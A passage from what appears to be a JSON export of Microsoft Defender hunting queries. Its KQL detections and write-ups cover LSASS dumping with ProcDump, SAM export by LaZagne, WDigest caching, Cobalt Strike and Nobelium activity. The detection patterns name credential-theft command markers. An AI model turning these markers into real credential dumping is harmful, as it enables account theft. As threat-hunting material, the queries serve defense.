and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info  \n**Contributor:** Dylan J  \n**Organization:** Microsoft  \n**Twitter:** @Dylface2\n"
  },
  {
    "path": "Credential Access/Private Key Files.txt",
    "content": "/////////////////////////////////////////////////////////\n// Private Key Files\n//\n// This query identifies file operation with files having\n// one of the extensions commonly used to save a private\n// key.  The risk is that if an attacker were to obtain\n// the file, they could brute force any password on it\n// and potentially obtain a powerful certificate.  To do\n// this, they would only need to obtain read access to \n// the file.\n//\n// The risk associated with these files is heavily \n// determined by the value of the certificate.  For example,\n// loss of a self-signed certificate created by Adobe Acrobat\n// is significantly less impactful than loss of a website \n// SSL certificate.\n//\n// Recommendation: Know where these files are, and if possible\n// back them up and remove them.  You might also consider\n// creating an informational alert.\n//////////////////////////////////////////////////////////////\nDeviceFileEvents\n| where Timestamp > ago(7d)\n| where FileName endswith '.pfx' or FileName endswith '.pfn' or FileName endswith '.p12'\n"
  },
  {
    "path": "Credential Access/cobalt-strike.md",
    "content": "# Find user accounts potentially affected by Cobalt Strike\n\nThis query was originally published in the threat analytics report, *Ransomware continues to hit healthcare, critical services*. There is also a related [blog](https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/).\n\nIn April of 2020, security researchers observed multiple ransomware campaigns using the same set of techniques. The attackers would compromise a web-facing endpoint and employ tools such as Cobalt Strike to steal users' credentials.\n\n[Cobalt Strike](https://www.cobaltstrike.com/) is commercial software used to conduct simulated threat campaigns against a target; however, malicious actors also use Cobalt Strike in real attacks. The software has a large range of [capabilities](https://attack.mitre.org/software/S0154/), including credential theft.\n\nThe following query identifies accounts that have logged on to compromised endpoints and have potentially had their credentials stolen.\n\n> [!IMPORTANT]\n> This query can only check endpoints onboarded to Microsoft Defender ATP.\n>\n> ​If you've identified affected endpoints that have not onboarded to Microsoft Defender ATP, check the Windows Event Log for post-compromise logons—those that occur during or after the earliest suspected breach activity—with event ID *4624* and logon type *2* or *10*. For any other timeframe, check for logon type *4* or *5*.\n\n## Query\n\n```Kusto\n// Check for specific alerts\nAlertInfo\n// Attempts to clear security event logs.\n| where Title in(\"Event log was cleared\", \n// List alerts flagging attempts to delete backup files.\n\"File backups were deleted\", \n// Potential Cobalt Strike activity - Note that other threat activity can also \n//trigger alerts for suspicious decoded content\n\"Suspicious decoded content\", \n// Cobalt Strike activity\n\"\\'Atosev\\' malware was detected\", \n\"\\'Ploty\\' malware was detected\", \n\"\\'Bynoco\\' malware was detected\")\n| extend AlertTime = Timestamp\n| join AlertEvidence on AlertId \n| distinct DeviceName, AlertTime, AlertId, Title\n| join DeviceLogonEvents on $left.DeviceName == $right.DeviceName\n// Creating 10 day Window surrounding alert activity\n| where Timestamp < AlertTime +5d and Timestamp > AlertTime - 5d \n// Projecting specific columns\n| project Title, DeviceName, DeviceId, Timestamp, LogonType, AccountDomain, \nAccountName, AccountSid, AlertTime, AlertId, RemoteIP, RemoteDeviceName\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access | v | Attackers will not only dump credentials for accounts that have logged on to interactive or RDP sessions, but will also dump cached credentials and passwords for service accounts and scheduled tasks that are stored in the LSA Secrets section of the registry. |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component | v |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Credential Access/doppelpaymer-procdump.md",
    "content": "# Detect DoppelPaymer operators dumping credentials with ProcDump\n\nThis query was originally published in the threat analytics report, *Doppelpaymer: More human-operated ransomware*. There is also a related [blog](https://msrc-blog.microsoft.com/2019/11/20/customer-guidance-for-the-dopplepaymer-ransomware/).\n\n[DoppelPaymer](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/DoppelPaymer!MTB&threatId=-2147205372) is ransomware that is spread manually by human operators. These operators have exhibited extensive knowledge of system administration and common network security misconfigurations. For example, they use SysInternal utilities such as [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) to dump credentials from [LSASS](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection). They often use these stolen credentials to turn off security software, run malicious commands, and spread malware throughout an organization.\n\nThe following query detects ProcDump being used to dump credentials from LSASS.\n\nThe [See also](#See-also) section below lists links to other queries associated with DoppelPaymer.\n\n## Query\n\n```Kusto\n// Dumping of LSASS memory using procdump\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n// Command lines that include \"lsass\" and -accepteula or -ma flags used in procdump\n| where (ProcessCommandLine has \"lsass\" and (ProcessCommandLine has \"-accepteula\" or\nProcessCommandLine contains \"-ma\"))\n// Omits possible FPs where the full command is just \"procdump.exe lsass\" \nor (FileName in~ ('procdump.exe','procdump64.exe') and ProcessCommandLine has 'lsass')\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access | v |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Detect DoppelPaymer performing reconnaissance with net.exe](../Discovery/doppelpaymer.md)\n* [Detect DoppelPaymer operators spreading files with PsExec](../Lateral%20Movement/doppelpaymer-psexec.md)\n* [Detect DoppelPaymer operators stopping services](../Defense%20evasion/doppelpaymer-stop-services.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Credential Access/identify-accounts-logged-on-to-endpoints-affected-by-cobalt-strike.md",
    "content": "\n# Identify accounts that have logged on to endpoints affected by Cobalt Strike\n\nThis query was originally published in the threat analytics report, *Ransomware continues to hit healthcare, critical services*.\n\nIt finds all user accounts that have logged on to an endpoint affected by [Cobalt Strike](https://attack.mitre.org/software/S0154/), a penetration tool.\n\nAssume that all credentials on endpoints affected by Cobalt Strike were available to attackers and that all associated accounts are compromised. Note that attackers will not only dump credentials for accounts that have logged on to interactive or RDP sessions, but will also dump cached credentials and passwords for service accounts and scheduled tasks that are stored in the LSA Secrets section of the registry.\n\n## Query\n\n```Kusto\n// Check for specific alerts\nAlertInfo\n// This checks over the previous 7 days -- alter Timestamp value for other periods\n| where Timestamp > ago(7d)\n// Attempts to clear security event logs.\n| where Title in(\"Event log was cleared\",\n// List alerts flagging attempts to delete backup files.\n\"File backups were deleted\",\n// Potential Cobalt Strike activity - Note that other threat activity can also trigger alerts for suspicious decoded content\n\"Suspicious decoded content\",\n// Cobalt Strike activity\n\"\\'Atosev\\' malware was detected\",\n\"\\'Bynoco\\' malware was detected\",\n\"\\'Cosipor\\' malware was detected\")\n| extend AlertTime = Timestamp\n| join AlertEvidence on AlertId\n| project DeviceId, AlertTime, AlertId, Title\n| join DeviceLogonEvents on DeviceId\n// Creating 10 day Window surrounding alert activity\n| where Timestamp < AlertTime +5d and Timestamp > AlertTime - 5d\n// Projecting specific columns\n| project Title, DeviceName, DeviceId, Timestamp, LogonType, AccountDomain,\nAccountName, AccountSid, AlertTime, AlertId, RemoteIP, RemoteDeviceName\n```\n\n## Category\n\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access | v | If you've identified affected endpoints that have not onboarded to Microsoft Defender ATP, check the Windows Event Log for post-compromise logons — those that occur after or during the earliest suspected breach activity — with *event ID 4624* and *logon type 2* or *10*. For any other timeframe, check for *logon type 4* or *5*. |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Credential Access/lazagne.md",
    "content": "# Detect credential theft via SAM database export by LaZagne\n\nThis query was originally published in the threat analytics report, *Ryuk ransomware*. There is also a related [blog](https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/).\n\n[Ryuk](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Ryuk&threatId=-2147232689) is human-operated ransomware. Much like [DoppelPaymer](https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/) ransomware, Ryuk is spread manually, often on networks that are already infected with Trickbot.\n\nDuring a typical Ryuk campaign, an operator will use [LaZagne](https://github.com/AlessandroZ/LaZagne), a credential theft tool, to access stored passwords for service accounts. The accounts are then used to jump from desktop clients to servers or domain controllers, allowing for better reconnaissance, faster movement, and a more severe impact on the target.\n\nThe following query detects credential theft by LaZagne.\n\nThe [See also](#See-also) section below lists links to other queries associated with Ryuk ransomware.\n\n## Query\n\n```Kusto\n// Find credential theft via SAM database export by LaZagne\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName =~ 'reg.exe'\n    and ProcessCommandLine has 'save'\n    and ProcessCommandLine has 'hklm'\n    and ProcessCommandLine has 'sam'\n| project DeviceId, Timestamp, InitiatingProcessId, \nInitiatingProcessFileName, ProcessId, FileName, ProcessCommandLine\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access | v |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Detect PsExec being used to spread files](../Lateral%20Movement/remote-file-creation-with-psexec.md)\n* [Detect Cobalt Strike invoked via WMI](../Campaigns/cobalt-strike-invoked-w-wmi.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Credential Access/logon-attempts-after-malicious-email.md",
    "content": "\n# Logon attempts after receipt of malicious email\n\nThis query finds the 10 latest logons performed by email recipients within 30 minutes after they received known malicious emails. You can use this query to check whether the accounts of the email recipients have been compromised.\n\n\n## Query\n\n```\n//Find logons that occurred right after malicious email was received\nlet MaliciousEmail=EmailEvents\n| where ThreatTypes has_cs \"Malware\" \n| project TimeEmail = Timestamp, Subject, SenderFromAddress, AccountName = tostring(split(RecipientEmailAddress, \"@\")[0]);\nMaliciousEmail\n| join (\nIdentityLogonEvents\n| project LogonTime = Timestamp, AccountName, DeviceName\n) on AccountName \n| where (LogonTime - TimeEmail) between (0min.. 30min)\n| take 10\n```\n## Category\n\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access | v | Logon attempts after receipt of malicious email can indicate account is compromised or being compromised | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Credential Access/procdump-lsass-credentials.md",
    "content": "# Procdump dumping LSASS credentials\n\nThis query was originally published in the threat analytics report, \"Exchange Server zero-days exploited in the wild\".\n\nIn early March 2021, Microsoft released [patches](https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/) for four different zero-day vulnerabilities affecting Microsoft Exchange Server. The vulnerabilities were being used in a coordinated attack. For more information on the vulnerabilities, visit the following links:\n\n* [CVE-2021-26855](https://nvd.nist.gov/vuln/detail/CVE-2021-26855)\n* [CVE-2021-26857](https://nvd.nist.gov/vuln/detail/CVE-2021-26857)\n* [CVE-2021-26858](https://nvd.nist.gov/vuln/detail/CVE-2021-26858)\n* [CVE-2021-27065](https://nvd.nist.gov/vuln/detail/CVE-2021-27065)\n\nThe following query looks for evidence of Procdump being used to dump credentials from LSASS, the Local Security Authentication Server. This might indicate an attacker has compromised user accounts.\n\nMore queries related to this threat can be found under the [See also](#See-also) section of this page.\n\n## Query\n\n```Kusto\nDeviceProcessEvents | where (FileName has_any (\"procdump.exe\", \"procdump64.exe\") and ProcessCommandLine has \"lsass\") or \n// Looking for Accepteula flag or Write a dump file with all process memory\n(ProcessCommandLine has \"lsass.exe\" and (ProcessCommandLine has \"-accepteula\" or ProcessCommandLine contains \"-ma\"))\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access | v |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## See also\n\n* [Reverse shell loaded using Nishang Invoke-PowerShellTcpOneLine technique](../Execution/reverse-shell-nishang.md)\n* [7-ZIP used by attackers to prepare data for exfiltration](../Exfiltration/7-zip-prep-for-exfiltration.md)\n* [Exchange PowerShell snap-in being loaded](../Exfiltration/exchange-powershell-snapin-loaded.md)\n* [Powercat exploitation tool downloaded](../Delivery/powercat-download.md)\n* [Exchange vulnerability creating web shells via UMWorkerProcess](../Execution/umworkerprocess-creating-webshell.md)\n* [Exchange Server IIS dropping web shells and other artifacts](../Execution/exchange-iis-worker-dropping-webshell.md)\n* [Exchange vulnerability launching subprocesses through UMWorkerProcess](../Execution/umworkerprocess-unusual-subprocess-activity.md)\n* [Base64-encoded Nishang commands for loading reverse shell](../Execution/reverse-shell-nishang-base64.md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Credential Access/wadhrama-credential-dump.md",
    "content": "# Image File Execution Options and .bat file usage in association with Wadhrama ransomware\n\nThis query was originally published in the threat analytics report, *RDP ransomware persists as Wadhrama*.\n\nThe ransomware known as [Wadhrama](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Wadhrama) has been used in human-operated attacks that follow a particular pattern. The attackers often use Remote Desktop Protocol (RDP) to gain initial access to a device or network, exfiltrate credentials, and maintain persistance.\n\nThe following query checks for possible Wadhrama-related activity, by detecting the technique these attackers have used in the past to dump credentials.\n\nOther techniques used by the group associated with Wadhrama are listed under [See also](#see-also).\n\n## Query\n\n```Kusto\n// Find use of Image File Execution Options (IFEO) in conjunction \n// with a .bat file to dump credentials\nDeviceRegistryEvents\n| where Timestamp > ago(7d)\n| where RegistryKey has \"sethc\" or RegistryKey has \"utilman\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access | v |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Find data destruction related to Wadhrama ransomware](../Impact/wadhrama-data-destruction.md)\n* [Find RDP persistance attempts related to Wadhrama ransomware](../Persistence/wadhrama-ransomware.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Credential Access/wdigest-caching.md",
    "content": "# Credential harvesting through WDigest cache\n\nThis query was originally published in the threat analytics report, *WDigest credential harvesting*.\n\n[WDigest](https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc778868(v=ws.10)?redirectedfrom=MSDN) is a legacy authentication protocol dating from Windows XP. While still used on some corporate networks, this protocol can be manipulated by attackers to dump system credentials.\n\nThe Microsoft Security Response Center published an [overview](https://msrc-blog.microsoft.com/2014/06/05/an-overview-of-kb2871997/) of [KB2871997](https://www.catalog.update.microsoft.com/Search.aspx?q=KB2871997), which addresses WDigest use on older platforms. More recent versions of Windows can be protected with a holistic security approach that follows the [principle of least privilege](https://docs.microsoft.com/windows-server/identity/ad-ds/plan/security-best-practices/implementing-least-privilege-administrative-models).\n\nThe following query returns any attempts to turn WDigest credential caching on through the registry.\n\n## Query\n\n```Kusto\n​union DeviceRegistryEvents, DeviceProcessEvents\n// Find attempts to turn on WDigest credential caching\n| where RegistryKey contains \"wdigest\" and RegistryValueName == \"UseLogonCredential\" and \nRegistryValueData == \"1\" or \n// Find processes created with commandlines that attempt to turn on WDigest caching\nProcessCommandLine has \"WDigest\" and ProcessCommandLine has \"UseLogonCredential\" and \nProcessCommandLine has \"dword\" and ProcessCommandLine has \"1\"\n| project Timestamp, DeviceName, PreviousRegistryValueData,  \nRegistryKey, RegistryValueName, RegistryValueData, FileName, ProcessCommandLine, \nInitiatingProcessAccountName, InitiatingProcessFileName, \nInitiatingProcessCommandLine, InitiatingProcessParentFileName\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access | v |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team"
  },
  {
    "path": "Defense evasion/ADFSDomainTrustMods[Nobelium].md",
    "content": "# Domain federation trust settings modified\n\nThis query will find when federation trust settings are changed for a domain or when the domain is changed from managed to federated authentication. Results will relate to when a new Active Directory Federated Service (ADFS) TrustedRealm object, such as a signing certificate, is added.\n\nModification to domain federation settings should be rare, so confirm the added or modified target domain/URL is legitimate administrative behavior.\n\nThe actor, Nobelium, was observed modifying domain trust settings to subvert existing mechanisms and cause the domain to accept authorization tokens signed with actor-owned certificates. See [*Customer Guidance on Recent Nation-State Cyber Attacks*](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/).\n\nTo understand why an authorized user may update settings for a federated domain in Office 365, Azure, or Intune, see [*Update or repair the settings of a federated domain in Office 365, Azure, or Intune*](https://docs.microsoft.com/office365/troubleshoot/active-directory/update-federated-domain-office-365).\n\nFor details on security realms that accept security tokens, see the ADFS Proxy Protocol (MS-ADFSPP) specification: [*3.2.5.1.2.4 Security Realm Data*](https://docs.microsoft.com/openspecs/windows_protocols/ms-adfspp/e7b9ea73-1980-4318-96a6-da559486664b).\n\nFor further information on AuditLogs, please see [*Azure AD audit activity reference*](https://docs.microsoft.com/azure/active-directory/reports-monitoring/reference-audit-activities).\n\nThis query is inspired by an Azure Sentinal [detection](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml).\n\n## Query\n\n```Kusto\nlet auditLookback = 1d;\n(union isfuzzy=true \n    (\n    CloudAppEvents\n    | where Timestamp > ago(auditLookback)\n    | where ActionType =~ \"Set federation settings on domain.\"\n    ),\n    (\n    CloudAppEvents\n    | where Timestamp > ago(auditLookback)\n    | where ActionType =~ \"Set domain authentication.\"\n    | extend modifiedProperties = parse_json(RawEventData).ModifiedProperties\n    | mvexpand modifiedProperties\n    | extend newDomainValue=tostring(parse_json(modifiedProperties).NewValue)\n    | where newDomainValue has \"Federated\"\n    )\n)\n| extend resultStatus = extractjson(\"$.ResultStatus\", tostring(RawEventData), typeof(string))\n| extend targetDisplayName = parse_json(RawEventData).Target[0].ID\n| project Timestamp, ActionType, InitiatingUserOrApp=AccountDisplayName, targetDisplayName, resultStatus, InitiatingIPAddress=IPAddress, UserAgent\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | V | T1484.002 |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](./Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](./MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Blake Strom\n**GitHub alias:** @bstrom\n**Organization:** Microsoft 365 Defender\n**Contact info:** blstrom@microsoft.com"
  },
  {
    "path": "Defense evasion/Discovering potentially tampered devices [Nobelium].md",
    "content": "# Discovering potentially tampered devices [Nobelium]\n\nTo evade security software and analyst tools, Nobelium malware enumerates the target system looking for certain running processes, loaded drivers, and registry keys, with the goal of disabling them.\n\nThe Microsoft Defender for Endpoint sensor is one of the processes the malware attempts to disable.\n\nMicrosoft Defender for Endpoint has built-in protections against many techniques attackers use to disable endpoint sensors ranging from hardened OS protection, anti-tampering policies, and detections for a variety of tampering attempts, including \"Attempt to stop Microsoft Defender for Endpoint sensor\", \"Tampering with Microsoft Defender for Endpoint sensor settings\", or \"Possible sensor tampering in memory\".\n\nSuccessfully disabling Microsoft Defender for Endpoint can prevent the system from reporting observed activities.\n\nHowever, the multitude of signals reported into Microsoft 365 Defender provides a unique opportunity to hunt for systems where the tampering technique used might have been successful.\n\nThe following advanced hunting query can be used to locate devices that should be reporting but aren’t:\n\n## Query\n\n```Kusto\n// Times to be modified as appropriate\nlet timeAgo=1d;\nlet silenceTime=8h;\n// Get all silent devices and IPs from network events\nlet allNetwork=materialize(DeviceNetworkEvents\n| where Timestamp > ago(timeAgo)\nand isnotempty(LocalIP)\nand isnotempty(RemoteIP)\nand ActionType in (\"ConnectionSuccess\", \"InboundConnectionAccepted\")\nand LocalIP !in (\"127.0.0.1\", \"::1\")\n| project DeviceId, Timestamp, LocalIP, RemoteIP, ReportId);\nlet nonSilentDevices=allNetwork\n| where Timestamp > ago(silenceTime)\n| union (DeviceProcessEvents | where Timestamp > ago(silenceTime))\n| summarize by DeviceId;\nlet nonSilentIPs=allNetwork\n| where Timestamp > ago(silenceTime)\n| summarize by LocalIP;\nlet silentDevices=allNetwork\n| where DeviceId !in (nonSilentDevices)\nand LocalIP !in (nonSilentIPs)\n| project DeviceId, LocalIP, Timestamp, ReportId;\n// Get all remote IPs that were recently active\nlet addressesDuringSilence=allNetwork\n| where Timestamp > ago(silenceTime)\n| summarize by RemoteIP;\n// Potentially disconnected devices were connected but are silent\nsilentDevices\n| where LocalIP in (addressesDuringSilence)\n| summarize ReportId=arg_max(Timestamp, ReportId), Timestamp=max(Timestamp), LocalIP=arg_max(Timestamp, LocalIP) by DeviceId\n| project DeviceId, ReportId=ReportId1, Timestamp, LocalIP=LocalIP1\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | V |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes 